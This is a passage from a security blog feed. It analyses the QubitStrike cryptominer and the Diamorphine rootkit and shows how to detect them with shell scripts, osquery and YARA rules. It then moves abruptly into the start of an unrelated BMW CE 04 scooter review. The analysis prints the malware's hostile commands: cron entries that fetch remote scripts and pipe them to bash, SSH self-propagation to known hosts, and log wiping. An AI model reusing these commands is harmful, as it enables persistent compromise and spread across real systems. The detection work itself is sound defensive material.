&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/aArwlOKd.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;QubitStrike will establish persistence through cron. First, it grabs the killer script, which shares the same competition killers we saw before, from Codeberg, and installs it to cron:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ cron_set
+ killerd=/usr/share/.28810
+ mkdir -p /usr/share/.28810
+ [[ zurl -o != &#39;&#39; ]]
+ zurl -o /usr/share/.28810/kthreadd https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh
+ chmod +x /usr/share/.28810/kthreadd
+ chattr -R -ia /etc/cron.d
+ echo -e &#39;*/1 * * * * root /usr/share/.28810/kthreadd&#39; &amp;gt; /etc/cron.d/netns
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also sets the miner to start on reboot:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ echo &#39;@reboot root /usr/share/.LQvKibDTq4/python-dev -c /usr/share/.LQvKibDTq4/config.json&#39; &amp;gt; /etc/cron.d/apache2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once a day, it starts the QubitStrike installer again using the latest code. Since there is no other cron task to reinstall the Diamorphine module, this means there can be up to a full day where the miner is running unhidden. I like how it hedges its bets by using the renamed &lt;code&gt;zget&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt; commands:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ echo &#39;@daily root zget -q -O - https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash&#39; &amp;gt; /etc/cron.d/apache2.2
+ echo -e &#39;0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash&#39;  &amp;gt; /etc/cron.d/netns2
+ echo &amp;quot;0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;quot; &amp;gt;&amp;gt; /etc/crontab
+ echo &amp;quot;0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;quot; &amp;gt;&amp;gt; /etc/crontab
+ chattr -R +ia /etc/cron.d
+ chattr -R +i /usr/share/.LQvKibDTq4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The viral component of QubitStrike&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/CV7Rixe9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One of the surprising features of QubitStrike is that it will attempt to replicate itself to any systems it finds in &lt;code&gt;/root/.ssh/known_hosts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;ssh_local() {
if [ -f /root/.ssh/known_hosts ] &amp;amp;&amp;amp; [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE &amp;quot;&#92;b([0-9]{1,3}&#92;.){3}[0-9]{1,3}&#92;b&amp;quot; /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h &#39;$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#39; &amp;amp; done
fi
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To be more effective, the installer should have also parsed other users &lt;code&gt;known_hosts&lt;/code&gt; files, but perhaps I shouldn&#39;t be giving malware authors tips.&lt;/p&gt;
&lt;h2&gt;The coup de grace: log truncation&lt;/h2&gt;
&lt;p&gt;Before exiting the installer, QubitStrike truncates many important system logs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog)
  for Lg in &amp;quot;${logs[@]}&amp;quot;; do
    echo 0&amp;gt; $Lg;
  done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It does not do anything about truncating systemd logs, though.&lt;/p&gt;
&lt;h2&gt;Detecting Qubitstrike from a shell&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/KVms6GJG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On Linux, process hiders are hilariously simple to detect. In my experience, ro rootkits bother to hide all of the /proc lookup points, preferring instead to just hide from the /proc directory list.&lt;/p&gt;
&lt;p&gt;My detection technique is to iterate over all possible process ID numbers and check for the existence of /proc/$pid/something file. If it exists, cross-reference it against the directory listing of /proc, and report missing entries. This works swimmingly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;#!/bin/bash
start=$(date +%s)
for pid in *; do
    visible[$pid]=1
done

for i in $(seq 2 &amp;quot;$(cat /proc/sys/kernel/pid_max)&amp;quot;); do
    [[ ${visible[$i]} = 1 ]] &amp;amp;&amp;amp; continue
    [[ ! -e /proc/$i/status ]] &amp;amp;&amp;amp; continue
    [[ $(stat -c %Z /proc/$i) -ge $start ]] &amp;amp;&amp;amp; continue

    #  pid is a kernel thread
    [[ $(awk &#39;/Tgid/{ print $2 }&#39; &amp;quot;/proc/${i}/status&amp;quot;) != &amp;quot;${i}&amp;quot; ]] &amp;amp;&amp;amp; continue

    exe=$(readlink &amp;quot;/proc/$i/exe&amp;quot;)
    cmdline=$(tr &#39;&#92;000&#39; &#39; &#39; &amp;lt;&amp;quot;/proc/$i/cmdline&amp;quot;)
    echo &amp;quot;- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s what this script outputs on a QubitStrike victim host:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;- hidden python-dev[27158] is running /usr/share/.LQvKibDTq4/python-dev: /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If a rootkit uses a kernel module, as Diamorphine does, it&#39;s almost certainly going to impact the &lt;a href=&quot;https://www.kernel.org/doc/html/v4.19/admin-guide/tainted-kernels.html&quot;&gt;kernel taint&lt;/a&gt; value, as well as leave evidence behind in the &lt;code&gt;dmesg&lt;/code&gt; buffer. QubitStrike and Diamorphine are no exception:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kernel taint value: 12288
* matches bit 12: externally-built (out-of-tree) module was loaded
* matches bit 13: unsigned module was loaded

dmesg:
[ 1721.518533] diamorphine: loading out-of-tree module taints kernel.
[ 1721.536521] diamorphine: module verification failed: signature and/or required key missing - tainting kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now for the new star of the show, the script that uncovers kernel rootkits that communicate via signal:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-diff&quot;&gt;-- [ rootkit-signal-handler.sh ] -----------------------------------------------
NOTE: root-escalation detection requires a non-root user
- SIGNAL 31 made /proc/46233 (this process) invisible!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.sjwv6iMtDx 2023-10-20 02:34:25.912665169 +0000
+++ /tmp/tmp.L1e9HVPFGi 2023-10-20 02:34:25.964663794 +0000
@@ -10,6 +10,7 @@
 bridge
 btrfs
 ccp
+diamorphine
 dm_multipath
 drm
 drm_kms_helper
- SIGNAL 31 made /proc/46233 (this process) visible again!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.IoOFxxR8en 2023-10-20 02:34:34.156522332 +0000
+++ /tmp/tmp.AWQeOosqOh 2023-10-20 02:34:34.212521840 +0000
@@ -10,7 +10,6 @@
 bridge
 btrfs
 ccp
-diamorphine
 dm_multipath
 drm
 drm_kms_helper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&#39;s also easy to detect the SSH keys, hidden directories, and crontab entries - if you want to see how, check out the &lt;a href=&quot;https://github.com/tstromberg/sunlight&quot;&gt;tstromberg/sunlight&lt;/a&gt; repo.&lt;/p&gt;
&lt;h2&gt;Detecting Qubitstrike with osquery&lt;/h2&gt;
&lt;p&gt;Some of you might know that I also maintain the &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit&quot;&gt;osquery-defense-kit&lt;/a&gt; project, something I&#39;ve put together in my time at &lt;a href=&quot;https://chainguard.dev/&quot;&gt;Chainguard&lt;/a&gt;. It&#39;s a collection of production-quality queries to uncover suspicious behavior using &lt;a href=&quot;https://www.osquery.io/&quot;&gt;osquery&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/ttv2DxWz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;osquery-defense-toolkit&lt;/code&gt; has a handy &lt;code&gt;make detect&lt;/code&gt; target to run all the scripts. Here&#39;s what pops up on a machine with Qubitstrike:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pid-hidden-by-rootkit (1 rows)
------------------------------
cgroup_path:/user.slice/user-501.slice/session-4.scope cmdline:&#39;/usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90&#39; cwd:/ disk_bytes_read:311296 disk_bytes_written:0 egid:0 euid:0 gid:0 name:python-dev nice:0 on_disk:1 parent:1 path:/usr/share/.LQvKibDTq4/python-dev pgroup:4030 pid:4030 resident_size:4096000 root:/ sgid:0 start_time:1697625949 state:S suid:0 system_time:23170 threads:10 total_size:2504282112 uid:0 user_time:6077320 wired_size:0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is effectively a port of the hidden-pids.sh script I showed you before:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;
WITH RECURSIVE cnt(x) AS (
   SELECT 1
   UNION ALL
   SELECT x + 1
   FROM cnt
   LIMIT 4194304
)
SELECT p.*
FROM cnt
   JOIN processes p ON x = p.pid
WHERE x NOT IN (
       SELECT pid
       FROM processes
)
AND p.start_time &amp;lt; (strftime(&#39;%s&#39;, &#39;now&#39;) - 1)
AND (
       p.pgroup = p.pid
       OR (
           p.pid = p.parent
           AND p.threads = 1
       )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;osquery finds the SSH keys:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unexpected-ssh-authorized-keys (1 rows)
---------------------------------------
atime:1697625779 ctime:1697625778 gid:0 mtime:1697625778 path:/root/.ssh/authorized_keys sha256:e8d5053e7c719114b45956695da845840ab45fb3e8d659f4ed991b274a8ed7a8 size:563 u_uid:0 uid:0 username:root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As well as the kernel taint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unusually-tainted-kernel-linux (1 rows)
---------------------------------------
force_loaded:0 force_unloaded:0 is_aux:0 is_unsigned:8192 kernel_warning:0 modules:nft_compat,nft_chain_nat,overlay,xt_tcpudp,xt_nat,xt_multiport,xt_mark,xt_conntrack,xt_comment,xt_addrtype,xt_MASQUERADE,nf_tables,nfnetlink,ip6table_filter,iptable_filter,ip6table_nat,iptable_nat,nf_nat,nf_conntrack,nf_defrag_ipv6,nf_defrag_ipv4,ip6_tables,veth,bridge,stp,llc,tap,tls,isofs,kvm_amd,ccp,binfmt_misc,kvm,irqbypass,virtio_input,nls_iso8859_1,input_leds,serio_raw,dm_multipath,scsi_dh_rdac,scsi_dh_emc,scsi_dh_alua,efi_pstore,ip_tables,x_tables,autofs4,btrfs,blake2b_generic,raid10,raid456,async_raid6_recov,async_memcpy,async_pq,async_xor,async_tx,xor,raid6_pq,libcrc32c,raid1,raid0,multipath,linear,virtio_gpu,virtio_dma_buf,drm_shmem_helper,drm_kms_helper,syscopyarea,sysfillrect,sysimgblt,psmouse,ahci,virtio_net,drm,libahci,net_failover,virtio_blk,xhci_pci,xhci_pci_renesas,virtio_rng,failover out_of_spec:0 out_of_tree:4096 proprietary:0 requested_by_userspace:0 taint:12288
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To look at the source code to these queries, see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/pid-hidden-by-rootkit.sql&quot;&gt;pid-hidden-by-rootkit.sql&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/persistence/unexpected-ssh-authorized-keys.sql&quot;&gt;unexpected-ssh-authorized-keys.sql&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/unusually-tainted-kernel-linux.sql&quot;&gt;unusually-tainted-kernel-linux.sql&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These queries were written way before QubitStrike ever existed; they just happen to cover a broad set of malicious behavior. It&#39;s nice when old tricks still work on new dogs.&lt;/p&gt;
&lt;h2&gt;Detecting Qubitstrike with YARA&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/9grhf7eX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The original article by Cado had a very specific rule for the QubitStrike installer. Still, it&#39;s worth mentioning that generic malware detection rules that predate QubitStrike are equally as good at detecting not just the QubitStrike, but also the files it installs: Using a set of general-purpose YARA rules I plan to open-source, the QubitStrike installer triggered a record 22 different rules:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;CRITICAL /Users/t/src/malware-menagerie/linux/2023.Trojan_Miner.QubitStrike/installer/mi.sh
  * router_malware
      usr_sbin: /usr/sbin
      wget: /wget
      curl: /curl
  * ld_so_preload
      ld_so_preload: /etc/ld.so.preload
  * systemctl_calls
      systemctl_disable: systemctl disable
  * linux_service_disabler
      setenforce_0: setenforce 0
      selinux_disabled: SELINUX=disabled
      watchdog: kernel.nmi_watchdog=0
  * linux_pkg_installer_command
      yum: yum install -y
  * danger_base64_decoder
      base64_d: base64 -d
  * echo_decode_bash
      echo: echo
      base64_d: base64 -d
      bash: bash
  * hardcoded_var_tmp_location
      var_tmp: /var/tmp/.
  * obfuscated_base64
      b_c_program: I2luY2x1ZGUgPHN0ZGlvLmg+
      b_user_rootkit: jaW5jbHVkZSA8ZGlyZW50Lmg+
      b_gzip: H4sI
  * hide_this_plz
      histfile: HISTFILE=
      histfile_dev: HISTFILE=/dev
  * kill_and_remove
      rm_f: rm -f
      rm_rf: rm -rf
      k_killall: killall
      k_pgrep: pgrep
      k_pkill: pkill
  * rm_f_hardcoded_tmp_path
      rm_f_tmp_var_dev: rm -rf /tmp/.LQvKibDTq4/
  * crontab_writer
      c_etc_crontab: /etc/crontab
      c_root_cron_entry: * * * * root
      c_reboot: @reboot
  * hidden_path
      crit: /tmp/.LQvKibDTq4
  * weird_tmp_path_not_hidden
      tmp_digits: /tmp/65
      tmp_short: /tmp/.$
  * chattr_caller
      chattr: chattr -
  * ssh_key_access
      ssh_authorized_keys: authorized_keys
      ssh_dir: /.ssh
  * recon_commands
      c_whoami: whoami
      c_id: id
      c_hostname: hostname
      c_ifconfig: ifconfig
  * suspicious_fetch_command
      curl_d: curl -o
      curl_insecure: curl --silent --insecure
  * hardcoded_dns_resolver
      d_google_public: 8.8.8.8
  * danger_crypto_miner
      crypto_pool: crypto-pool
      f2pool: f2pool
      monero_hash: monerohash
      monero_pool: moneropool
      xmrpool: xmrpool
      xmrig: xmrig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most of the queries are self-evident, but I&#39;ll share one of the cooler queries I use to detect malware that is hiding data away in base64 encoded blobs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule obfuscated_base64 {
    $b_chmod = &amp;quot;chmod&amp;quot; base64
    $b_curl = &amp;quot;curl &amp;quot; base64
    $b_bin_sh = &amp;quot;/bin/sh&amp;quot; base64
    $b_bin_bash = &amp;quot;/bin/bash&amp;quot; base64
    $b_openssl = &amp;quot;openssl&amp;quot; base64
    $b_dev_null = &amp;quot;/dev/null&amp;quot; base64
    $b_user_agent = &amp;quot;User-Agent&amp;quot; base64
    $b_usr_bin = &amp;quot;/usr/bin&amp;quot; base64
    $b_usr_sbin = &amp;quot;/usr/sbin&amp;quot; base64
    $b_var_tmp = &amp;quot;/var/tmp&amp;quot; base64
    $b_var_run = &amp;quot;/var/run&amp;quot; base64
    $b_screen_dm = &amp;quot;screen -dm&amp;quot; base64
    $b_zmodload = &amp;quot;zmodload&amp;quot; base64
    $b_dev_tcp = &amp;quot;/dev/tcp&amp;quot; base64
    $b_bash_i = &amp;quot;bash -i&amp;quot; base64
    $b_bash_c = &amp;quot;bash -c&amp;quot; base64
    $b_http = &amp;quot;http://&amp;quot; base64
    $b_https = &amp;quot;https://&amp;quot; base64
    $b_c_program = &amp;quot;#include &amp;lt;stdio.h&amp;gt;&amp;quot; base64
    $b_user_rootkit = &amp;quot;#include &amp;lt;dirent.h&amp;gt;&amp;quot; base64
    $b_kernel_rootkit = &amp;quot;#include &amp;lt;linux/module.h&amp;gt;&amp;quot; base64
    $b_c_program2 = &amp;quot;#include&amp;lt;stdio.h&amp;gt;&amp;quot; base64
    $b_user_rootkit2 = &amp;quot;#include&amp;lt;dirent.h&amp;gt;&amp;quot; base64
    $b_kernel_rootkit2 = &amp;quot;#include&amp;lt;linux/module.h&amp;gt;&amp;quot; base64
    $b_password = &amp;quot;password&amp;quot; base64
    $b_gzip = &amp;quot;H4sI&amp;quot;
    $not_kandji = &amp;quot;kandji-parameter-agent&amp;quot;
    $not_kolide = &amp;quot;KOLIDE_LAUNCHER_OPTION&amp;quot;
    $not_mdmprofile = &amp;quot;mdmprofile&amp;quot;
    $not_chromium = &amp;quot;RasterCHROMIUM&amp;quot;
    $not_cert = &amp;quot;-----BEGIN CERTIFICATE-----&amp;quot;
  condition:
    filesize &amp;lt; 10485760 and any of ($b_*) and none of ($not_*)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My rules have not attempted to detect rootkit source code yet, but surprisingly, this exceptionally broad rule worked to discover Diamorphine:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule suspicious_keywords {
  strings:
    $DDoS = &amp;quot;DDoS&amp;quot;
    $DD0S = &amp;quot;DD0S&amp;quot;
    $backdoor = &amp;quot;backdoor&amp;quot;
    $Backdoor = &amp;quot;Backdoor&amp;quot;
    $backd00r = &amp;quot;backd00r&amp;quot;
    $rootkit = &amp;quot;rootkit&amp;quot;
    $Rootkit = &amp;quot;Rootkit&amp;quot;
    $r00tkit = &amp;quot;r00tkit&amp;quot;
    $r00tk1t = &amp;quot;r00tk1t&amp;quot;
    $trojan = &amp;quot;trojan&amp;quot;
    $Trojan = &amp;quot;Trojan&amp;quot;
    $tr0jan = &amp;quot;tr0jan&amp;quot;
  condition:
    any of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This simple rule to detect usermode rootkits caught the &lt;code&gt;prochide.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule userspace_process_hider {
  strings:
    $prochide = &amp;quot;processhide&amp;quot;
    $proc_to_filter = &amp;quot;process_to_filter&amp;quot;
    $readdir_override = &amp;quot;original_readdir&amp;quot;
  condition:
    any of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;python-dev&lt;/code&gt; xmrig program triggered 8 different rules. I&#39;ll share one of the more creative ones:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule probably_a_linux_miner {
  strings:
    $argon = &amp;quot;argon2d&amp;quot;
    $proc_self = &amp;quot;/proc/self&amp;quot;
    $numa = &amp;quot;NUMA&amp;quot;
  condition:
    all of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to see some YARA queries specifically tuned for finding Linux rootkits, &lt;a href=&quot;https://github.com/dmknght/rkcheck/blob/main/rules/rootkit.yar&quot;&gt;dmknght/rkcheck&lt;/a&gt; is a good reference.&lt;/p&gt;
&lt;h2&gt;Detecting using gut instinct&lt;/h2&gt;
&lt;p&gt;If you ever see a host with a load of 5.0+ and no high-CPU processes, chances are you have been infected with a hidden crypto-miner. No rootkit I&#39;ve seen on Linux attempts to manipulate load values.&lt;/p&gt;
&lt;h2&gt;Wrapping Up&lt;/h2&gt;
&lt;p&gt;I hope you had fun through this tour. If you have any questions or malware samples to share, feel free to contact me at thomas(%2b)stromberg.org&lt;/p&gt;
</content>
  </entry><entry>
    <title>BMW CE 04: The Suit &amp; Tie Rocket Ship</title>
    <link href="https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/"/>
    <updated>2023-08-13T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/</id>
    <content xml:lang="en" type="html">&lt;p&gt;With 4,700 miles (7500km) and 9 months under my belt, it&#39;s time for my long-term review of the BMW CE 04.&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/Kq5EEoUX.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In 2022, BMW released the &lt;a href=&quot;https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html&quot;&gt;CE 04&lt;/a&gt;: a futuristic-looking spaceship in a sea of boring two-wheeled EVs. It made quite a splash, with BMW &lt;a href=&quot;https://www.press.bmwgroup.com/global/article/detail/T0407526EN/bmw-motorrad-achieves-the-best-sales-result-in-the-company-s-history?language=en&quot;&gt;selling nearly 5000 &lt;/a&gt;in the first year. While European sales were strong, I estimate that only about 250 were sold in the USA during 2022. I may, in fact be the only CE 04 owner in North Carolina.&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/RcIlxAaF.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One question I often get from onlookers is: is that thing a scooter, or is that a motorcycle? While the CE 04 shares parts with their motorcycle line (S1000XR, F850GS, etc.), it has a floorboard instead of foot pegs, so BMW calls it a scooter. With the transition to electric, there is no other difference between a scooter and a motorcycle. Scooters also generally have an area under the dash where you can place your legs or groceries, but the CE 04 does not.&lt;/p&gt;
&lt;p&gt;While the CE 04 is the most fun I&#39;ve had on two wheels, it is also the personification of compromise. It&#39;s heavy, but due to the exceptionally low center of gravity, it&#39;s far easier to handle than the equally heavy R1200GS. Rather than using new electric technologies like a hub motor, the CE 04 reuses well-tested components. Somehow, it is still the &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1UqNHMZnefVYDFB7FNf4Txf_y9nb_1LSSzdp-XJTrihg/edit#gid=0&quot;&gt;most efficient EV in its class (WMTC 3b)&lt;/a&gt;. It&#39;s got more range than you need for the city, but less than you may want for touring.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/hOzDWXKS.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Who should get this bike?&lt;/h2&gt;
&lt;p&gt;If you are looking for a fast, fun, practical utility bike, have access to a power outlet at home, and live within 30 miles (50km) of another EV charger (&lt;a href=&quot;https://www.plugshare.com/&quot;&gt;see the Plugshare map&lt;/a&gt;): skip the rest of this review and go buy a CE 04 now.&lt;/p&gt;
&lt;p&gt;If you ride primarily in urban or suburban areas, I can&#39;t think of a better bike than the CE 04.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/xdvj5bnA.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Who should steer clear of it?&lt;/h2&gt;
&lt;p&gt;If you want to participate in long group rides or want to venture out on day-long rides without micro-managing charging stops: check out &lt;a href=&quot;https://www.energicamotor.com/&quot;&gt;Energica&lt;/a&gt; or &lt;a href=&quot;https://vergemotorcycles.com/&quot;&gt;Verge Motorcycles&lt;/a&gt; instead.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/XA938mA3.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Specs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Top Speed: 78mph&lt;/li&gt;
&lt;li&gt;Approximate Range:
&lt;ul&gt;
&lt;li&gt;75 miles @ 35mph / 120 km @ 60km/h&lt;/li&gt;
&lt;li&gt;65 miles @ 45mph / 105 km @ 70km/h&lt;/li&gt;
&lt;li&gt;60 miles @ 55mph / 95 km @ 90km/h&lt;/li&gt;
&lt;li&gt;40 miles @ 70mph / 65 km @ 115km/h&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Acceleration: 0-30mph (0-50km/h) in &lt;a href=&quot;https://www.youtube.com/watch?v=yAO1J98YK3g&quot;&gt;~2s&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Maintenance: Every 2 years or 6200 miles (10000km)&lt;/li&gt;
&lt;li&gt;Battery: 8.9 kWh total (8.5 kWh usable)&lt;/li&gt;
&lt;li&gt;Effective charge time: ~1 hour @ 30A (240V) with the &amp;quot;Quick Charge&amp;quot; option&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/fbPUsYK5.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What&#39;s Hot, What&#39;s Not?&lt;/h2&gt;
&lt;p&gt;Keeping in mind that I am using the CE 04 as both a utility vehicle and a sport touring vehicle in North Carolina:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hot&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Brisk acceleration&lt;/li&gt;
&lt;li&gt;Agile &amp;amp; easy to ride&lt;/li&gt;
&lt;li&gt;Inexpensive to fuel ($1.15 where I live)&lt;/li&gt;
&lt;li&gt;Always waking up to a full tank&lt;/li&gt;
&lt;li&gt;Lack of engine noise and vibration makes it easier to tune into your surroundings&lt;/li&gt;
&lt;li&gt;Leg protection&lt;/li&gt;
&lt;li&gt;Reverse gear&lt;/li&gt;
&lt;li&gt;Heated seat &amp;amp; hand-grips&lt;/li&gt;
&lt;li&gt;30L of under-seat storage&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/UIwHuER1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not so hot&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Range anxiety is real&lt;/li&gt;
&lt;li&gt;Seats are uncomfortable for multi-hour rides&lt;/li&gt;
&lt;li&gt;AC charging only; no support for DC fast chargers.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unfinished.bike/bmw-ce-04-indicator-replacement-procedure&quot;&gt;Fragile rear indicator lights&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/P3F5Tqz1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;That Acceleration Tho&lt;/h2&gt;
&lt;p&gt;The CE 04 accelerates like a bat out of hell. If you crank the throttle all the way in &amp;quot;Road&amp;quot; or &amp;quot;Dynamic&amp;quot; mode, it will calmly and quietly reach 30km/h (18mph) before the first second is up. The lack of any perceived stress from the scooter when launching it from an intersection is uncanny. The traction control system limits the earliest stage of acceleration to avoid lofting the front wheel or throwing a passenger off the back.&lt;/p&gt;
